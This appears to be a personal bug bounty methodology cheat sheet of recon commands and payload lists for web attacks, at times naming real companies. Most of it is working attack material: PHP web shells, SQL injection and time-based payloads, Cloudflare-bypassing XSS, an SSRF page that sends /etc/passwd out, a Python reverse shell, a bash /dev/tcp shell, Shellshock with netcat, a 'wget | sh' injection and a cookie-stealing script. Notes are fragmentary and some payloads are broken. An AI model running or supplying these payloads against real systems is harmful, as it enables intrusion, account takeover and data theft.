Web Application & Bug Bounty Methodology

curl --request GET  --url 'https://api.securitytrails.com/v1/domain/bluewin.ch/subdomains?children_only=false&include_inactive=true'  --header 'APIKEY: YOUR_SECURITYTRAILS_API_KEY'  --header 'accept: application/json'

 prips 173.0.84.0/24 | hakrevdns  -r 1.1.1.1
 
 masscan 193.110.154.0/24  -p 1-65535  --rate 100000 --output-format json --exclude 255.255.255.255 --output-filename
scan-results.json

 cat scan-results.json | sed -e '/^\[/d' -e '/^\]/d' -e 's/,$//' | jq -r '[.ip, .ports[0].port] | @tsv' | sed 's/\t/:/' | sort -u > alive-hosts

amass enum -config /root/.config/amass/config.yaml -df httpx -t /root/nuclei-temlates/ -o nuclei

amass intel -org "Tesla" 
and the output would be :
8911, TESLATEL-AS 
50313, TESLATEL-AS
394161, TESLA - Tesla

amass intel -active -asn 394161 => ASN
whois -h whois.radb.net -- '-i origin AS3303' | grep -Eo "([0-9.]+){4}/[0-9]+" | sort -u
------------------------------------------------------------
amass intel -active -cidr 192.168.1.0/24

python3 /home/hossam/tools/dnscan/dnscan.py -d gs.com -w best-dns-wordlist.txt -t 1000

 prips 173.0.84.0/24 | hakrevdns  -r 1.1.1.1
for i in `prips 194.147.200.0/21`; do dig -x $i +short ;done 
https://search.dnslytics.com/cidr/
https://viewdns.info/reverseip/?host=

cat domains | assetfinder -subs-only

 ffuf -u https://example.com -w wordlist -H "Host: FUZZ.example.com" 

[REDACTED]
01/25
123
usa
10010
-----------------------------
then discover all domains related to specific email
https://website.informer.com/email/it-domains@snapchat.com

https://lock.cmpxchg8b.com/rebinder.html

crt_org.sh
./crt_org.sh Swisscom+(Schweiz)+AG		=> should replace any space with +
curl 'https://crt.sh/?o=%.'$1'&output=json' | jq -r '.[].common_name' | grep -v '*' | sort | uniq | tee -a domainsOrg.txt
curl -s "https://crt.sh/?q=%25.rednexus.tech&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

search for subdomains :
https://app.netlas.io/domains/?indices=&page=1&q=domain%3A(domain%3A*.paypal.com)
if found vulnerablity then try to search for all assets vulnerable to same 
by checking the response body and take any word and search by it : (hubspot)
https://app[.]netlas[.]io/responses/?q=http.body:(hubspot)&page=1&indices=
to search for jenkens for example :
https://app[.]netlas[.]io/responses/?q=http.headers.x_jenkins:* OR http.headers.x_jenkins_cli2_port:* OR http.headers.x_jenkins_session:*&page=1

cat allurls.txt | grep -E "\.txt|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.json|\.gz|\.rar|\.zip|\.config"

nuclei -l allurls.txt  -t /root/nuclei-templates/http/exposures

cat allurls | grep ".php" | httpx -o php.txt

for i in `cat php.txt`;do arjun -u $i ;done
arjun -u https://example.com/file.php --get 
arjun -u https://exmaple.com/file.php -m GET 
python3 arjun.py -i burp_targets.txt

paramspider -d example.com >> allparam
cat allparam | grep "FUZZ" >> fuzzing.txt

	nuclei -l fuzzing.txt -t /root/fuzzing-templates -o secrets.txt

cat allurls | grep -E "\.js" >> alljs
grep -Ei 'api|login|token|jwt|auth|fetch|users|experiments|config|render' app.js
grep -En 'fetch|XMLHttpRequest|axios|location|localStorage|sessionStorage|Authorization|Bearer' app.js
----------------------------------------------
linkfinder.py -i Target.com -d -o alljs |
cat js.txt  | while read url; do python3 /home/kali/tools/SecretFinder/SecretFinder.py  -i $url -o cli; done
---------------------------------------------
nuclei -t /root/nuclei-templates/http/exposures/ -l js
nuclei -l js.txt -t nuclei-temlates/exposures/tokens/generic
after gathering tokens use  ( token-spray ) template 
nuclei -t nuclei-templates/token-spray -var token=goanmginaonim
or can use file of tokens in token=token_file
----------------------------------------------
python jsscan.py urls.txt js-url.txt js-directory => https://github.com/Or4ngm4n/jsscan
 1- save javascirpt urls in js-url
 2- save directories in js-directory
use jsnice.org/
use jsluice 
-------------------------------------------------
cat test.txt| grep -aEo 'https?://[^ ]+' | sed 's/]$//' | sort -u| grep -aEi "\.(js)"
------------------------

use https://github.com/MrEmpy/mantra 
cat js.txt | mantra

test+${{9*9}}@gmail.com => would be test+81@gmail.com
{"username": "`cat /etc/passwd`", "password": "test"}
{"username": "`touch /var/www/html/hack.html`", "password": "test"}
username='"><u>hossamshady
first name="><h1>hossam</h1> => see email inbox after registeration
"><svg/onload=confirm(document.cookie)>"@x.y
hossam@gmail.com'\"><svg/onload=confirm(1)>
<!--#printenv -->     ((SSI)) 
{{9*9}} or %{7*7} or #{7*7} or ${7*7}
email@gmil.com'(select*from(select(sleep(40)))a)+'
<!--#echo var="DATE_LOCAL" -->
">\<img src=[https://www.no-gods-no-masters.com/images\_designs/anonymous-gandhi-d001001207265.png](https://www.no-gods-no-masters.com/images_designs/anonymous-gandhi-d001001207265.png)\>”@x.y "  

Pre-Account takeover 
1- attacker makes account with victim@gmail.com
2- victim register new account with 0-auth 
3-Verification bypass now attacker can login the victim account without verification link with the password he entered while registering.
------------------------------------
##Account takeover via 0-auth facebook
1- register with facebook account
2- don't give the site access to facebook email address
3- observe email field would be empty intercept the request and
 put victim email address and you entered his profile
------------------------------------
account takeover 
1- login with your account victim@gmail.com in chrome 
2- signup with the same email and observe email is already exists 
 - response manupliate ( 302 email registered ) and change any thing observe data in chrome changed
 - or try to access /account or /profile directly after step 2

-------------------------------------
1- create two accounts with the same username  
reset the password it would be for the two but with different usernames

-------------------------------------
if there is invitation for registeration try to race condtion to create 
more than one account with the same invitation 

-------------------------------------
1- create account and don't click on verification link 
2- go to account and change the email address to new one and observe the first one verified

-------------------------------------
1- make account with attacker@gmail.com and don’t press on verfiication link
2- change the email to victim@gmail.com and 
3- ask for verification link but don’t press on the second link
4- press on the first link (attacker) , if the victim verified ( bug )  

-------------------------------------
account takeover with mobile app 
1- create account with email id on website and password
2- upload private image 
3- create account with same email id on mobile app and different password 
4- boom moblie app account can see web account private data

-------------------------------------
1- login with facebook auth
2- click `edit access`
3- uncheck email address checkbox 
4- this will confuse the target app as no email has been shared from facebook and it will create unusual login flows
(https://www.notion.so/Images-f9339098aa70465a83a7d7b828af6842?pvs=4#2c33203e57d9406a9b6a6d5550b4042c)

-------------------------------------
1- register with victim@gmail.com
2- login without confirmation with limited access
3- change email address to hacker@gmail.com 
4- change email address back to victim@gmail.com and observe (verified)
-------------------------------------
1- there is account called username victim
2- attacker make account with username ⓥⓘⒸⓣⓘⓂ
3- attacker reset the password and found that password changed to victim and ⓥⓘⒸⓣⓘⓂ accounts 
--------------------------------------
Delete account for permenant without password confirmation (link)
--------------------------------------
bypass username with victim\n  and you can request money from 3th man as victim

{"email":"oneaccount@gmail.com",
"password":["firstpass","secondpass","thirdpass"]
}

in admin panel  '+(select*from(select(sleep(10)))a)+'

{"email":"\"test(a)\"@gmail.com"} => if 200 then try 
{"email":"tes't@gmail.com"} => if 500 then sql injection
{"email":"test'or'1'='1@gmail.com"} ==> must be 200 
{"email":"\"a'-IF(LENGTH(database())>9,SLEEP(7),0)or'1'='1\"@gmail.com"} => must delay 7 seconds
{"email":"\"a'-IF(LENGTH(database())=10,SLEEP(15),0)or'1'='1\"@gmail.com"} => must delay 15 seconds
{"email":"\"a'-IF(LENGTH(database())=11,SLEEP(15),0)or'1'='1\"@gmail.com"} => must delay 15 seconds
--------------------------------------------------

idor while chaging the email address 
1- try to update your email address
2- capture the request and change the current email address with victim email 
3- update the email and boom , you updated the victim account
---------------------------------------------------
updating email for the man who clicks on verification link 
1- try to update your email address 
2- take verification link and then send it to victim to click on it
3- if clicked on it then his email will change 
----------------------------------------------------
merge the two tricks above (IDOR and verification link) 
1- update your email 
2- capture the request and change the current email to victim@gmail.com
3- get the verification code and then send it to victim@gmail.om
4- once clicked then account takeover

{"code":{"$gt":0}} 

check link of reset password in email if http not https

send reset password ⇒ copy token and search in burp history 

check reset request code can be leaked in request or response

no rate limit (Email bombing)

ask reset password (from out) don’t press on it ⇒ 
login to account ⇒ change the email and verify ⇒ click on reset link
 ⇒ if password changed through reset password link (bug)
 
 ------------------------------------------------
ask reset password (from out) don’t press on it ⇒
login to account ⇒ change the password ⇒
click on reset link ⇒ if password changed through reset password link (bug)
--------------------------------------------------

1- reset the password or ask for reset code  
2- don't click or reload the page but go to /profile or /account
 directly and see if you can access

brute force otp 

1-> xss via reset ⇒  https://app.recordedfuture.com/live/login/?reset=x&username=xss"><img+src=x+onerror=alert(document.domain)>

reset password does not end live sessions 

take request and try sql injection ⇒ sqlmap -r req.txt 

Use username@burp_collab.net and analyze the callback

use arjun to detect params ⇒ arjun -u https://example.com -m post 

fuzz parameters by large wordlist of arjun  look here  

check password policy while resetting new password

check if token is Guuid v1 to make sandwich attack 

check if there is exposed information in response about victim while resetting password

manulplate response to disclosure email address of victim by his phone or reverse

{"email":"victim@mail.com","email":"attacker@mail.com"}
{"email":"attacker@mail.com\nvictim@mail.com"}
{"email":"accA@mail.com\naccB@mail.com"}
{"email":"Victim@mail.com,attacker@mail.com","email":"Victim@mail.com"}
{"email":"Victim@mail.com","email":"Victim@mail.com%0Abcc:Attacker@mail.com"}
{"email":"Victim@mail.com","email":"Victim@mail.com,Attacker@mail.com"}
{"email":"Victim@mail.com;Attacker@mail.com","email":"Victim@mail.com"}
{"email":"Victim@mail.com","email":"Victim@mail.com;Attacker@mail.com"}
{"email":"Victim@mail.com%20Attacker@mail.com","email":"Victim@mail.com"}
{"email":"Victim@mail.com","email":"Victim@mail.com%20Attacker@mail.com"}
{"email":"Victim@mail.com%0Acc:Attacker@mail.com","email":"Victim@mail.com"}
{"email":"Victim@mail.com","email":"Victim@mail.com%0Acc:Attacker@mail.com"}
{"email":"Victim@mail.com%0Abcc:Attacker@mail.com","email":"Victim@mail.com"}
{"email":"Victim@mail.com%0D%0Acc:Attacker@mail.com","email":"Victim@mail.com"}
{"email":"Victim@mail.com","email":"Victim@mail.com%0D%0Acc:Attacker@mail.com"}
{"email": "Victim@mail.com%0D%0Abcc:Attacker@mail.com","email":"Victim@mail.com"}
{"email":"Victim@mail.com","email": "Victim@mail.com%0D%0Abcc:Attacker@mail.com"}
{"email":"Victim@mail.com\r\n \ncc: Attacker@mail.com","email":"Victim@mail.com"}
{"email":"Victim@mail.com","email":"Victim@mail.com\r\n \ncc: Attacker@mail.com"}
{"email":["victim@mail.com","attacker@mail.com"]}

----------------------------
email=victim@xyz.com&email=hacker@xyz.com
email=victim@xyz.com%0a%0dcc:hacker@xyz.com
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
email=victim@email.com%20email=attacker@email.com
email=victim@xyz.com,hacker@xyz.com
email="victim@xyz.com",email="hacker@xyz.com"
email=victim@xyz.com/ehacker@xyz.com
email=victim@xyz.com|hacker@xyz.com
email=victim => no domain
email=victim@xyz => no tld
email=victim@gmail.com&code=123456 or put token 
user[email][]=vicitm@gmail.com&user[email][]=hacker@gmail.com

1- if the website requires 2FA to login then try to login with password and no 2fa
2- try to enter all the authenticated paths and if one of them entered without 2fa 
then vulenrablility as : /profile /change_password /disable_2fa 

##0
1- Browser A: The attacker opens the login page and enters credentials for an account without 2FA
2- Browser B: The attacker opens the login page and enters credentials for the victim who has 2FA enabled. Consequently, they are redirected to /login/key/random_key
3- Browser B: The attacker substitutes the session ID with Browser A's session ID and refreshes the page
4- Browser B: The converter page generates a JWT for the attacker, enabling successful authentication as the victim who has 2FA enabled

##1
1- attacker enable 2fa on his account and login and wait in 2fa page 
2- in another broswer attacker opens victim account with password and wait in 2fa page 
3- attacker takes cookies from victim page and put it in step 1 and put attacker code (boom)
-----------------------
##2
1- Directly Navigate to the page which comes after 2FA or any other authenticated  
page of the application.
2- If there is no success, change the refer header to the 2FA page URL. This may fool  
application to pretend as if the request came after satisfying 2FA Condition
-----------------------
##3
1- If the "remember me" functionality is attached to your IP address, you can try to figure out the IP address of the victim and impersonate it using the **X-Forwarded-For** header.
2- If the "remember me" functionality uses a new cookie with a guessable code, try to guess it.
-----------------------
##4
1- There is a rate limit but when you "resend the code" the same code is sent and the rate limit is reset. Then, you can brute force the code while you resend it so the rate limit is never reached.
-----------------------
##5 
No rate limit over Backup codes 

GET /delete?user=test HTTP/1.1
Response
HTTP/1.1 401 Unauthorized

GET /delete?user=test HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 302 Found
--------------------------------------
inurl:"target name" employee offers => get offers for employees
---------------------------------------
Broken authentication in 2fa
1- register user1 and user2 and put one phone number for both 
2- verify the accounts with the same phone number
2- logout from 2 accounts and try to login to each of them , (login failed)
---------------------------------------

Using Similar Endpoints: ``` /sign-up --> /Sign-up
Blank char in params: ``` code=1234%0a
Add extra params: ``` /resetpwd?someparam=1
Remove all headers including Host , make http > 1.0
no rate limit reporting on comments which make it delelted
no rate limit fuzzing coupon 
no rate limit on otp of SSO 
no rate limit on comments 
no Rate limit on ssh 22 

id=1&quantity=1 ⇒ price 451$
id=1&quantity=.1 => price 45.1
quantity=-2 

(1,alert)(7*7)]   ⇒ in  discount filed if reflected price of percentage(resource injection) 
--------------------------------------------------
1- try to choose paypal or coinpayments and intercept requests
2- found parameters "Sucess or Referrer or  Callback"
3- if link found in any parameter as example.com/payments/MD5HASH
4- copy example.com/payments/MD5HASH and open it in new tap and observe your payment has been succeeded
----------------------------------------------------
1- add 5 apples to cart = 100$
2- add 2 bananas to card 20$ but change amount to -2   
3- observe total price for 5 apples would be 80$   (report)
-----------------------------------------------------
1- could gain points buying something and make cash on delivery then cancel
-----------------------------------------------------
1- buy something and put payment_method_id as non exisiting one (buy something free) 
-----------------------------------------------------
1- see that if you can't make action see if you can do it with api 
-----------------------------------------------------
1- try to add user to /users/api/v1/users  => check PUT or POST 
2- try to upload file to /wp-content/uploads
-----------------------------------------------------
if {"code":"USD","Price":"10.99"} then try
  {"code":"INR","Price":"10.99"}
   {"code":"USD","Price":"1.99"}
    {"code":"USD","Price":"0.99"}
     {"code":"USD","Price":"99.10"}

 

<html>
<head>
<title>Badoo account take over</title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
<script>
function getCSRFcode(str) {
    return str.split('=')[2];
}
window.onload = function(){
var csrf_code = getCSRFcode(url_stats);
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script>

crlf with xss with firewall bypass
https://subDomain.microsoft.com/嘍嘊Set-Cookie:whoami=thecyberneh嘍嘊嘍嘊嘍嘊嘼script嘾alert(1);嘼/script嘾

##1- save it as file.pdf and upload it
%PDF-1.7
        1 0 obj
        <</Pages 1 0 R /OpenAction 2 0 R>>
        2 0 obj
        <</S /JavaScript /JS (app.alert(1))
        >> trailer <</Root 1 0 R>>
-------------------------------------------------
file.PHP or file.jpg.php 
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
-------------------------------------------------
file.svg
<svg width="600" height="400" xmlns="http://www.w3.org/2000/svg" xmlns:xhtml="http://www.w3.org/1999/xhtml">
    <foreignObject width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml">
<iframe src='javascript:confirm(10)'></iframe>
        </body>
    </foreignObject>
</svg>
----------------------------------------------------
<svg width="600" height="400" xmlns="http://www.w3.org/2000/svg" xmlns:xhtml="http://www.w3.org/1999/xhtml">
  <script xlink:href="https://xss.report"/>
  <script>
  //<![CDATA[
    alert("XSS");
    ]]>
    </script>
  </svg>
----------------------------------------------------
upload this html and if you need to convert to pdf use 
<html>
    <body>
        <b>Exfiltration via Blind SSRF</b>
        <script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///etc/passwd", true); 
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
     </body>
</html>
----------------------------------------------------
to make reverse shell edit the server and port 
<html>
    <body>
        <b>Reverse Shell via Blind SSRF</b>
        <script>
        var http = new XMLHttpRequest();
        http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true); 
        http.send();
        http.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
    </body>
</html>

-----------------------------------------------------
file.php
<?php
$output = shell_exec($_GET["secert-cmd"]);
echo "<pre>$output</pre>";
?>
----------------------------------------------------
Attack Scenario
1- Create a php file and add php reverse shell to get RCE
2- rename the file to .py extension
3- upload our python extension file that has a php content inside 
4- Rename file extension from .py to .php
----------------------------------------------------
delete account does not delete images inside 
1- upload image for your account 
2- open this image in new window 
3- delete your account 
4- go and reload this image if found (Vulnerablity)
----------------------------------------------------

# echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
then ?file=zip://./profile_images/shell.jpg%23shell.php&cmd=id

----------------------------------------------------
sleep(10)-- -.jpg
; sleep 10;
file';select+sleep(5);--.jpg
file$(whoami).jpg
file`whoami`.jpg
file.jpg||whoami
passwd%00.png
file.ph\p => to bypass 
file.php%20.jpg
file.php%0a.jpg
shell.php%00.jpg
file.php%0d0a.jpg
file.php/.jpg
file.php.\.jpg
file.php..jpg
file.php….jpg
file.php:.jpg
../../etc/passwd/logo.png 
../../../tmp/lol.png 
/etc/passwd?.csv
https://burpcollab.com  => filename => ssrf
<script>alert(1)</script>.txt
'cv.pdf<img src=x onerror=c-onfirm(1)'>  => when filename printed inside the code
"><svg onload = alert(document.cookie)>.docx

------------------------
gif => filename=file.php => Content-Type: image/jpg
GIF8
<?php system($REQUEST['cmd']);?>
------------------------
trying to upload aspx random.aspx;.jpg  or random.png.aspx
https://github.com/nikicat/web-malware-collection/blob/master/Backdoors/ASP/cmd.aspx#js-repo-pjax-container
----------------------------
Content-Disposition: form-data; name="file"; filename="58832_300x300.jpg<svg
onload=confirm()>"
Content-Type: image/jpeg
----------------------------
Content-Disposition: form-data; name="imageupload"; filename="zseano."
Content-Type: text/html
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename=".html"
Content-Type: image/png
<html>HTML code!</html>
----------------------------
Content-Disposition: form-data; name="oauth_application[logo_image_file]";
filename="testing1.html"
Content-Type: text/html
‰PNG
<script>alert(0)</script>

https://hacker.com#victim.com
https://victim.com.hacker.com
https://victim.com@hacker.com

https://hacker.com?@victim.com
https://hacker.com\@victim.com

https://hacker.com?a=https://victim.com
\/yoururl.com
\/\/yoururl.com
\\yoururl.com
//yoururl.com
//theirsite@yoursite.com
/\/yoursite.com
https://yoursite.com%3F.theirsite.com/
https://yoursite.com%2523.theirsite.com/
https://yoursite?c=.theirsite.com/ (use # \ also)
//%2F/yoursite.com
////yoursite.com
https://theirsite.computer/
https://theirsite.com.mysite.com
/%0D/yoursite.com (Also try %09, %00, %0a, %07)
/%2F/yoururl.com
/%5Cyoururl.com
//google%E3%80%82com

https://jwt.lannysport.net/
{
"alg":"HS256",
"typ":"JWT",
"kid": "../../../../../../dev/null"
}

sqlmap -u https://example.com/file.ashx?id=1 --technique=BT --dbs 
sqlmap.py -r request --batch --random-agent --tamper=space2comment --drop-set-cookie --banner --threads 10 --dbs
sqlmap -u "target/?offset=1" -p offset --level 5 --risk 3 --dbms=MySQL --hostname --test-filter="MySQL >= 5.0.12 stacked queries
--ignore-code 500
chcek cookies , user-agent- x-forwarde-for , host
sqlmap -u xxxx —headers="Cookie: *" -H "x-forwarded-for: *" -H "x-forwarded-Host: *"
## sqlmap for login page
sqlmap -u "https://example.com/login.php" --data="username=xxx&password=yyy" --risk 3 --level 5 --banner
## bypass firewall  => change case ex: select SElect
sqlmap -u "https://example.com/search.php?id=1" --tamper=randomcase --banner --risk 3 --level 5 
cat domain.txt | httpx -silent -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(13),0))OR" -rt -timeout 20 -mrt '>13'
cat subdomains.txt | dnsx | waybackurl| uro grep "\?" | head -20 | httpx --silent >> urls;sqlmap -m urls --batch --random-agent --level2 | tee sqlmap.txt 
nodejs sql injection payload : username=admin&password[password]=1

change Content-type to Content-Type: application/x-www-form-urlencoded then
inject headers with  if(now()=sysdate()%2Csleep(10)%2C0) => fuzz headers 
/number_trips/1/999%20or%201=1--
' OR 1=1 -- -  bypass login 
'or 1=1 limit 1-- -   bypass login
Referer: https://example.com/'; DROP TABLE Users; --
User-Agent: '; SELECT * FROM Users; --
POST /register…..
Firstname=blabla%'+WAITFOR+DELAY+'0:0:9'--&Lastname=blabla
Hot: ';WAITFOR DELAY '0:0:10'--
User-Agent: gggggggggggggggggggggggg';WAITFOR DELAY '0:0:10'--   => 10sec
X-Forwrded-For: ';WAITFOR DELAY '0:0:10'--     =>10ec
Oracle => .'; IF 1=1 WAITFOR DELAY '0:0:5'--'

MSSQL =>	WAITFOR DELAY '0:0:10'
MySQL/MariaDB =>	AND (SELECT SLEEP(10) FROM dual WHERE database() LIKE '%')
PostgreSQL  => 	|| (SELECT 1 FROM PG_SLEEP(10))
Oracle =>	AND 1234=DBMS_PIPE.RECEIVE_MESSAGE('RaNdStR',10)


GET /directory/0'XOR(if(now()=sysdate(),sleep(13),0))XOR'z HTTP/1.1
- view=1'+AND+333=(select+333+from+pg_sleep(4))+AND+apVT'='apVT
- search=0'XOR(if(now()=sysdate()%2Csleep(100)%2CO))XOR'Z
- Cookie: hossam'=IF(MID(VERSION(),1,1)=1,SLEEP(10),0)='1
- query=1+OR+IF(1%3d1,+(SELECT+1+FROM+
- (SELECT+SLEEP(MID(version(),1)))+AS+v),+0)
- 'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
Cookie: hossam'=IF(MID(VERSION(),1,1)=1,SLEEP(10),0)='1
X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
User-Agent: 'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
User-Agent: () { :; }; /bin/sleep 5
User-Agent: () { :; }; /bin/nc -e /bin/sh <hacker_ip 80>
Referer: 'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
- User-Agent: zerodiumsleep(5);
- User-Agent: zerodiumsystem('id');
- "username":"hsosamshady;sleep(111)"
- Parameter=randomtext%' OR SLEEP (5) #
- {	"username":"admin","password":"' OR 1=0--"}
sql injection via headers
Accept: '" or sleep(30)="'
Accept-Charset: '" or sleep(30)="'
Accept-Datetime: '" or sleep(30)="'
Accept-Encoding: '" or sleep(30)="'
Accept-Language: '" or sleep(30)="'
Authorization: '" or sleep(30)="'
Cache-Control: '" or sleep(30)="'
Connection: '" or sleep(30)="'
Content-Length: '" or sleep(30)="'
Content-MD5: '" or sleep(30)="'
Content-Type: '" or sleep(30)="'
Cookie: '" or sleep(30)="'
Date: '" or sleep(30)="'
Expect: '" or sleep(30)="'
Forwarded: '" or sleep(30)="'
From: '" or sleep(30)="'
If-Match: '" or sleep(30)="'

Content-Disposition: form-data; name="mimetypeid"
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)
'+(select*from(select(sleep(15)))a)+'

to know your current privilege : user()
to make privilege escalation : 
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
cn' union select "",'<?php system($_REQUEST[cmd]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

GET /home.html?search={{url_for.globals.os.popen(request.headers.hack).read()}}
hack: id
---------------------------
User-Agent: zerodiumsystem("id")   => for php systems 
---------------------------
GET /cgi-bin/status
User-Agent: () { ignored }; echo Content-Type: text/plain ; echo ; echo; /usr/bin/id;
---------------------------
Accept: ../../../../../../../../../../etc/passwd{{
---------------------------
Local File Discloure to Rce 
1- if you can read the web.config file you can almos always get RCE 
2- Obtain the `machinekey` variable from the `web.config` file [ValidionKey, decryptionkey
3- Use this Tool and Steps : https://github.com0xacb/viewgen
4- VIEWSTATE -> ObjectStatFormatter (Insecure Deserlisation) -> RCE
----------------------------
inject  cve 2023-1389 via www-url-encoded payload body
operation=write&country=$(id>`wget http://hacker.com| sh)
----------------------------
curl -H "user-agent: (){ :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" https://example.com/thing.cgi
-----------------------------
paramet+er='.print((`id`)).'
------------------------------
file=/etc/passwd    => 403
file=L2V0Yy9wYXNzd2Q=     => 200

 ; bash -c "bash -i >& /dev/tcp/192.60.98.2/4444 0>&1"
 
 GET http://10.10.78.181:5000/api/v1/resources/books?show=/etc/passwd


CVE 2021-41277
https://example.com/api/geojson?url=file:///etc/passwd

use xssStrike
BruteXss 
Xsser
`'>+<script>alert()</script>`

/somepath"><script>alert()</script>/somepath/
if you have parameter takes email then :
test@gmail.com'\"><svg/onload=confirm()>

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>  => cloudflare

<%2FsCripT><
scRIPt>alert(document.cookie)<%2FsCrIpT>  => bypass cloudflare
"><img/src=%20only=1%20OnErRor=x=alert``><!--  => bypass Cloudflare

q=1%27"><Img%0ASrc%0A=OnXSS%0AOnError%0A=alert(1)>
<Svg Only=1 Onload=confirm(document.cookie)>

filename="<img src=x onerror=javascript:alert()> image.jpg"
cloudflare bypass <svg/onload=window["al"+"ert"]`1337`>
x=alert,x(1)
"><svg/onload=confirm(document.cookie)>"@x.y
redirect=javascript:alert() => instead of site 
<<hee>script> document.location.href='https://google.com'; <<hee>script>
parameter=%22)%20die(msg%3a%22%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e%22)%2f%2f
<ifram src="https://bing.com"></iframe>
<details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc%28%60xss%60%26%2300000000000000000041//
<a href="#" id="uniqueLink">Click me</a> <script> (function() { var a = ['\x6F\x70\x65\x6E', '\x77\x72\x69\x74\x65', '\x63\x6C\x6F\x73\x65', '\x70\x72\x69\x6E\x74', '\x61\x6C\x65\x72\x74']; var b = ['@', 'h', 'x', 'l', 'x', 'm', 'j']; var c = ['B', '1', 'P', '4', '$', '$']; document.getElementById('uniqueLink').onclick = function() { var w = windowa[0]; w.documenta[1]; w.documenta[2]; wa[3]; windowa[4]; }; })(); </script>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>
<Img Src=OnXSS OnError=confirm(1)>
payload : test"><img src=x on0x=1 onerror=alert(/POC/)>
<div style="width:100%;height:100vh;" onpointerover="[][decodeURIComponent('%63%6F%6E%73%74%72%75%63%74%6F%72')]decodeURIComponent('%63%6F%6E%73%74%72%75%63%74%6F%72')()"> </div>
<img src=x onVector=X-Vector onerror=alert(1)>
jaVasCript:///*\\/'/"//(/* /oNcliCk=alert() )//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%252f%252a/(/%252f%252a/*┯┪prompt(1)┯┻//;eval(atob('YWxlcnQoIkhpISIp'))//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%252f%252a*/)//
Payload : %22%3E%3Csvg%20onload%3dalert%26%230000000040%22100%22)%3E
Payload : </script><embed/embed/embed/src=//14.rs>
<DiV sTylE="WidTH:100%;HeIgHt:100vH;" oNpOINteROvEr="var _0x1abc=['\x63','\x6F','\x6E','\x73','\x74','\x72','\x75','\x63','\x74','\x6F','\x72'];var _0x2bcd=['\x61','\x6C','\x65','\x72','\x74','\x28','\x64','\x6F','\x63','\x75','\x6D','\x65','\x6E','\x74','\x2E','\x64','\x6F','\x6D','\x61','\x69','\x6E','\x29'];[][_0x1abc.join('')]_0x1abc.join('')((97^0)===97?1:0);"></dIV>
-><svg%20onload=alert%26%230000000040document.cookie)>
"><sVg/onfake="x=y"oNload=;1^(co\u006efirm)``^1//
test"%20onmouseover="prompt%26%2300000000000000000040;%27XSS%27%26%2300000000000000000041;
<svg onload=(function(){let arr=[41,49,40,116,114,101,108,97].reverse().map(e=>String.fromCharCode(e));let func=new Function(...arr);func();})()>
"><svg/onload=alert%26%230000000040"Hacked")>
<div style="width:100%;height:10Ovh;" onpointerover="[][decodeURIComponent('%63%6F%6E%73%74%72%75%63%74%6F%72)][decodeURIComponent('%63%6F%6E%73%74%72%75%63%74%6F%72)](decodeURIComponent('%61%6C%65%72%74%28%64%6F%6 3%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29'))0)"> </div>
<a href="#" onclick="var w = window.open/**/(/**/);w.document.write/**/('Hello, world!'/**/); w.document.close/**/(/**/);w.print/**/(/**/); alert/**/('B1P4$$'/**/);">Click me</a>
if found jenkins plugin test /gitlab/"><svg/onload=confirm()>

######XSS lead to Account takeover
'"><svg onload=document.forms[1].action='https://attacker.com/?Hacked'>

---------------------
exploit
  <script>
            /*
            this script will create a hidden <img> element
            when the browser tries to load the image
            the victim's cookies will be sent to your server
            */

            var new_img = document.createElement('img');
            new_img.src = "http://yourserver/" + document.cookie;
            new_img.style = 'display: none;'
